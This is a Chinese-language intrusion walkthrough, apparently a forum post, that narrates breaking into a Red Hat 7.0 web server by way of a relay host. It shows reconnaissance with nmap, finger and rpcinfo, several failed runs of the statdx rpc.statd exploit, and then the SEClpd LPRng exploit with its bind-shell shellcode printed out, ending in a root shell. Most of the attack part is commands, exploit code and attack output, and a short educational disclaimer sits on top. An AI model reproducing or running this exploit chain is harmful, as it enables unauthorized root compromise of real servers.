此文的目的不在于教人入侵，而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白：由于你们一个小小的操作失误可能会导致整个网络全面沦陷!本文主要是围绕LPD:网络打印服务的攻击而进行的。
首先确定目标，假设是：www.XXX.com
先让俺看看是不是连得上：
| C:\ping www.XXX.com Pinging www.XXX.com[202.106.184.200] with 32 bytes of data: Reply from 202.106.184.200: bytes=32 time=541ms TTL=244 Reply from 202.106.184.200: bytes=32 time=620ms TTL=244 Reply from 202.106.184.200: bytes=32 time=651ms TTL=244 Reply from 202.106.184.200: bytes=32 time=511ms TTL=244 Ping statistics for 202.106.184.200: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 511ms, Maximum = 651ms, Average = 580ms |
嘻嘻—不但连得上，速度还不错……
先telnet看看banner：
C:\>telnet www.XXX.com
遗失对主机的连接。
再试试ftp,
C:\>ftp www.XXX.com
Connected to www.fbi.gov.tw.
220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.
User (www.XXX.com:(none)):
wu-2.6.1看来有点眉目了。这台机器像是RedHat7.0!首先必须确认一下，连上俺的跳板:
| C:\>telnet xxx.xxx.xxx.xxx Red Hat Linux release 7.0 (Guinness) Kernel 2.2.16-22smp on an i686 login: fetdog Password: bash-2.04$ |
拿nmap扫描器，看看其中的奥妙~~~
| bash-2.04$nmap -sT -O www.XXX.com Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ ) WARNING! The following files exist and are readable: /usr/local/sha -services and ./nmap-services. I am choosing /usr/local/share/nmap/ s for security reasons. set NMAPDIR=. to give priority to files in irectory Interesting ports on (www.XXX.com): (The 1520 ports scanned but not shown below are in state: closed) Port State Service 25/tcp open smtp 79/tcp open finger 80/tcp open http 111/tcp open sunrpc 113/tcp open auth 443/tcp open https 513/tcp open login 514/tcp open shell 515/tcp open printer 587/tcp open submission 1024/tcp open kdm TCP Sequence Prediction: Class=random positive increments Difficulty=3247917 (Good luck!) Remote operating system guess: Linux 2.1.122 - 2.2.16 Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds |
打开的端口还挺多，这意味着入侵的可能性增加。79/tcp open finger ，先看看这个，不过linux没有finger用户列表这个漏洞。
bash-2.04$finger @www.XXX.com
[www.XXX.com]
No one logged on.
再看看111/tcp open sunrpc 。近来rpc漏洞风行，不知道RH7这个东东会不会有?先看看再说!
| bash-2.04$rpcinfo -p www.XXX.com program vers proto port service 100000 2 tcp 111 rpcbind 100000 2 udp 111 rpcbind 100021 1 udp 1024 nlockmgr 100021 3 udp 1024 nlockmgr 100024 1 udp 1025 status 100024 1 tcp 1024 status |
看来有rpc.statd服务。来看看能不能远程溢出拿个rootshell。
| bash-2.04$./statdx -h statdx by ron1n Usage: stat [-t] [-p port] [-a addr] [-l len] [-o offset] [-w num] [-s secs] [-d type] -t attack a tcp dispatcher [udp] -p rpc.statd serves requests on [query] -a the stack address of the buffer is -l the length of the buffer is [1024] -o the offset to return to is [600] -w the number of dwords to wipe is [9] -s set timeout in seconds to [5] -d use a hardcoded Available types: 0 Redhat 6.2 (nfs-utils-0.1.6-2) 1 Redhat 6.1 (knfsd-1.4.7-7) 2 Redhat 6.0 (knfsd-1.2.2-4) |
看来并不支持RH7。还是继续尝试，把0-2全部试试看再说!start……
| bash-2.04$stat -d 0 www.XXX.com buffer: 0xbffff314 length: 999 (+str/+nul) target: 0xbffff718 new: 0xbffff56c (offset: 600) wiping 9 dwords Failed - statd returned res_stat: (failure) state: 21 |
受挫，再试……
| bash-2.04$stat -d 1 www.XXX.com buffer: 0xbffff314 length: 999 (+str/+nul) target: 0xbffff718 new: 0xbffff56c (offset: 600) wiping 9 dwords Failed - statd returned res_stat: (failure) state: 21 |
一样!继续……
| bash-2.04$stat -d 1 www.XXX.com buffer: 0xbffff314 length: 999 (+str/+nul) target: 0xbffff718 new: 0xbffff56c (offset: 600) wiping 9 dwords Failed - statd returned res_stat: (failure) state: 21 |
rpc.statd行不通，想想RH7应该有个远程溢出，好像是lp服务造成的。“seclpd.c”应该是这个东东了。
—————以下代码仅供教学使用，决不能用来进行恶意攻击—————
| /* * Welcome to http://hlc.cnroot.com/ * Run: ./SEClpd victim brute -t type * Try first ./SEClpd victim -t 0 then try the brute. */ #include #include #include #include #include #include #include #include #include #include #include #include #define ADDRESS_BUFFER_SIZE 32+4 #define APPEND_BUFFER_SIZE 52 #define FORMAT_LENGTH 512-8 #define NOPCOUNT 200 #define SHELLCODE_COUNT 1030 #define DELAY 50000 /* usecs */ #define OFFSET_LIMIT 5000 char shellcode[] = "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80" "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; |
brute暴力破解。等上5-8分钟左右，结果出来了。
| - [+] shell located on www.XXX.com - [+] Enter Commands at will Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown uid=0(root) gid=7(lp) |
uid=0(root权限)，现在可以近一步入侵！但不要做坏事！
